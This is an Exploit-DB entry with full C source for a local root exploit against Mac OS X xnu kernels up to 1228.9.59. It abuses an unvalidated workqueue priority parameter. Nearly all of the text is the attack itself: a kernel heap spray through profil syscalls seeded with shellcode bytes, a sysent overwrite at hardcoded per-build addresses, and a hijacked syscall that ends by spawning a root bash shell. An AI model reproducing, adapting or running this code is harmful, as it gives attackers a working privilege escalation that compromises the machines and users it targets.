Apple Mac OSX xnu 1228.9.59 - Kernel Privilege Escalation

EDB-ID:

8896

CVE:

N/A

Author:

mu-b

Type:

local

Platform:

OSX

Published:

2009-06-08

/* xnu-workq-v2-64.c
 *
 * Copyright (c) 2008 by <mu-b@digit-labs.org>
 *
 * Apple MACOS X xnu <= 1228.9.59 local kernel root exploit
 * by mu-b - Sat 16 Feb 2008
 *
 * - Tested on: Apple MACOS X 10.5.1 (xnu-1228.0.2~1/RELEASE_I386)
 *              Apple MACOS X 10.5.2 (xnu-1228.3.13~1/RELEASE_I386)
 *
 * workqueue_additem and workqueue_removeitem do no validate the
 * user defineable parameter prio.
 *                                    (bsd/kern/pthread_synch.c)
 *
 * Note: this requires quite a large amount of memory for the heap spray!
 *
 * Compile: gcc -Wall -O0 -m64 xnu-workq-v2-64.c -o xnu-workq-v2-64
 *                  (compile 64-bit ONLY)
 *
 *    - Private Source Code -DO NOT DISTRIBUTE -
 * http://www.digit-labs.org/ -- Digit-Labs 2008!@$!
 */

#include <stdio.h>
#include <stdlib.h>

#include <fcntl.h>
#include <string.h>
#include <sys/syscall.h>
#include <sys/utsname.h>
#include <unistd.h>

/* profil defines     */
#define PROFIL_ITEM_SIZE      64
#define PROFIL_BLK_SIZE       65536
#define PROFIL_BLK_NUM        84

/* workq defines      */
#define WQOPS_QUEUE_ADD       1
#define WORKQUEUE_PRIOS_MIN   -2
#define WORKQUEUE_PRIOS_MAX   2

/* overwrite defines  */
#define WL_LIST_BASE          0x05600000
#define WL_LIST_ACCESS        0x09000060

#define WILIST_PTR            0x10000044
#define WIITEM_PTR            0x18000044

struct workq_item {
  void *_pad[2];
  void *func;
  void *__pad[2];
};

struct workq_ops_args {
  int options;
  void *item;
  int prio;
};

static struct targets {
  const char *name;
  int auth_addr;   /* kauth_cred_get            */
  int sys_addr;    /* sysent, &__mac_getfsstat  */
} targets_t[] = {
  { "root:xnu-1228~1/RELEASE_I386", 0x0035F492, 0x00503F90 + 4 },
  { "root:xnu-1228.0.2~1/RELEASE_I386", 0x0035F429, 0x00504F90 + 4 },
  { "root:xnu-1228.3.13~1/RELEASE_I386", 0x0036094C, 0x00506F90 + 4 },
  { NULL, 0, 0 },
};

void
_dummy (void)
{
  while (1);
}

int
main (int argc, char **argv)
{
  struct workq_ops_args req;
  struct workq_item workq;
  struct utsname p_uname;
  int auth_addr, sys_addr;
  char buf[1024], *ptr;
  int id, i, n;

  printf ("Apple MACOS X xnu <= 1228.3.13 local kernel root/DoS exploit\n"
          "by: <mu-b@digit-labs.org>\n"
          "http://www.digit-labs.org/ -- Digit-Labs 2008!@$!\n\n");

  auth_addr = 0;
  sys_addr = 0;
  uname (&p_uname);

  ptr = strrchr (p_uname.version, ' ') + 1;
  for (i = 0; targets_t[i].name; i++)
    if (strcmp (targets_t[i].name, ptr) == 0)
      {
        auth_addr = targets_t[i].auth_addr;
        sys_addr = targets_t[i].sys_addr;
        break;
      }

  if (targets_t[i].name == NULL)
    {
      fprintf (stderr, "%s: unsupported xnu version found :( [%s]\n",
               argv[0], ptr);
      exit (EXIT_FAILURE);
    }

  printf ("* opening work queue, pid: %d...", getpid ());
  if ((n = syscall (SYS_workq_open, NULL)) < 0)
    {
      fprintf (stderr, "\n%s: syscall [SYS_workq_open]: failed: %d\n",
               argv[0], n);
      exit (EXIT_FAILURE);
    }
  printf ("done\n\n");

  printf ("* beginning spraying...\n");
  printf ("** opening profil, pid: %d...", getpid ());
  if ((n = syscall (SYS_profil, buf, sizeof buf, 0, 1)) < 0)
    {
      fprintf (stderr, "\n%s: syscall [SYS_profil]: failed: %d\n",
               argv[0], n);
      exit (EXIT_FAILURE);
    }
  printf ("done\n");

  printf ("* filling %d-bytes of kernel memory...\n", PROFIL_BLK_NUM * PROFIL_BLK_SIZE * PROFIL_ITEM_SIZE);

  printf ("** filling workitemlist pointers...\n");
  fflush (stdout);

  for (i = 0; i < (PROFIL_BLK_SIZE * PROFIL_BLK_NUM) / 3; i++)
    {
      void *arg1, *arg2, *arg3;

      arg1 = (void *) ((((long) WILIST_PTR) << 32) | WILIST_PTR);
      arg2 = (void *) 0xE4E5E6E7E0E1E2E3;
      arg3 = (void *) 0xF4F5F6F7F0F1F2F3;

      n = syscall (SYS_add_profil, arg1, arg2, arg3, 0x0);
      if (n < 0)
        {
          fprintf (stderr, "%s: syscall [SYS_add_profil]: failed: %d\n",
                   argv[0], n);
          exit (EXIT_FAILURE);
        }

      if (!(i % 32))
        printf ("** %d-bytes filled\r",  i * 64);
    }
  printf ("\n** done\n\n");

  printf ("** filling %d workitem elements...\n", (PROFIL_BLK_SIZE * PROFIL_BLK_NUM) / 3);
  fflush (stdout);

  for (i = 0; i < (PROFIL_BLK_SIZE * PROFIL_BLK_NUM) / 3; i++)
    {
      void *arg1, *arg2, *arg3;

            /*                   0X4(edx)              (edx)  */
            /*                     eax                  ecx   */
      arg1 = (void *) ((((long) sys_addr) << 32) | WIITEM_PTR);
      arg2 = (void *) 0xDEADBE03DEADBE02;
      arg3 = (void *) 0xDEADBE05DEADBE04;

      n = syscall (SYS_add_profil, arg1, arg2, arg3, 0x0);
      if (n < 0)
        {
          fprintf (stderr, "%s: syscall [SYS_add_profil]: failed: %d\n",
                   argv[0], n);
          exit (EXIT_FAILURE);
        }

      if (!(i % 32))
        printf ("** %d-bytes filled\r",  i * 64);
    }
  printf ("\n** done\n\n");

  printf ("** filling %d next workitem elements...\n", (PROFIL_BLK_SIZE * PROFIL_BLK_NUM) / 3);
  fflush (stdout);

  for (i = 0; i < (PROFIL_BLK_SIZE * PROFIL_BLK_NUM) / 3; i++)
    {
      void *arg1, *arg2, *arg3;

      arg1 = (void *) 0x0000000004EB9090;
      arg2 = (void *) ((((long) auth_addr) << 32) | 0xB8E58955);
      arg3 = (void *) 0xC9105089D231D0FF;

      n = syscall (SYS_add_profil, arg1, arg2, arg3, 0xCCC3);
      if (n < 0)
        {
          fprintf (stderr, "%s: syscall [SYS_add_profil]: failed: %d\n",
                   argv[0], n);
          exit (EXIT_FAILURE);
        }

      if (!(i % 32))
        printf ("** %d-bytes filled\r",  i * 64);
    }
  printf ("\n** done\n* done\n\n");

  printf ("* adding dummy workq to lists...\n");
  memset (&workq, 0, sizeof workq);
  workq._pad[0] = buf;
  workq._pad[1] = buf;
  workq.func = &_dummy;
  workq.__pad[0] = buf;
  workq.__pad[1] = buf;

  for (i = WORKQUEUE_PRIOS_MIN; i <= WORKQUEUE_PRIOS_MAX; i++)
    {
      memset (&req, 0, sizeof req);
      req.options = WQOPS_QUEUE_ADD;
      req.item = &workq;
      req.prio = i;

      printf ("** adding dummy worklist item: %d...", i);
      if ((n = syscall (SYS_workq_ops, req.options, req.item, req.prio)) < 0)
        {
          fprintf (stderr, "\n%s: syscall [SYS_workq_ops]: failed: %d\n",
                   argv[0], n);
          exit (EXIT_FAILURE);
        }
      printf ("done\n");
    }
  printf ("* done\n\n");
  sleep (1);

  memset (&req, 0, sizeof req);
  req.options = WQOPS_QUEUE_ADD;
  req.item = (void *) 0xCAFEBABE;
  req.prio = (WL_LIST_ACCESS - WL_LIST_BASE) / 16;

  printf ("* overwriting @0x%08X with 0x%08X\n", sys_addr, WIITEM_PTR);
  printf ("** req.prio: 0x%08X, access @~0x%08X [with offset: 0x%08X]\n",
          req.prio, WL_LIST_ACCESS, WL_LIST_BASE);
  sleep (1);

  if ((n = syscall (SYS_workq_ops, req.options, req.item, req.prio)) < 0)
    {
      fprintf (stderr, "%s: syscall [SYS_workq_ops]: failed: %d\n",
               argv[0], n);
      exit (EXIT_FAILURE);
    }
  printf ("* done\n\n");

  printf ("* jumping....");
  sleep (1);

  if ((n = syscall (SYS___mac_getfsstat, 0, 0, 0, 0, 0)) == 0)
    {
      fprintf (stderr, "\n%s: syscall [SYS___mac_getfsstat]: failed: %d\n",
               argv[0], n);
      exit (EXIT_FAILURE);
    }
  printf ("done\n\n");

  id = getuid ();
  printf ("* getuid(): %d\n", id);
  if (id == 0)
    {
      printf ("+Wh00t\n\n");

      /* exec shell, for some reason execve doesn't work!?$! */
      system ("/bin/bash");
    }
  else
    fprintf (stderr, "%s: failed to obtain root :(\n", argv[0]);

  return (EXIT_SUCCESS);
}

// milw0rm.com [2009-06-08]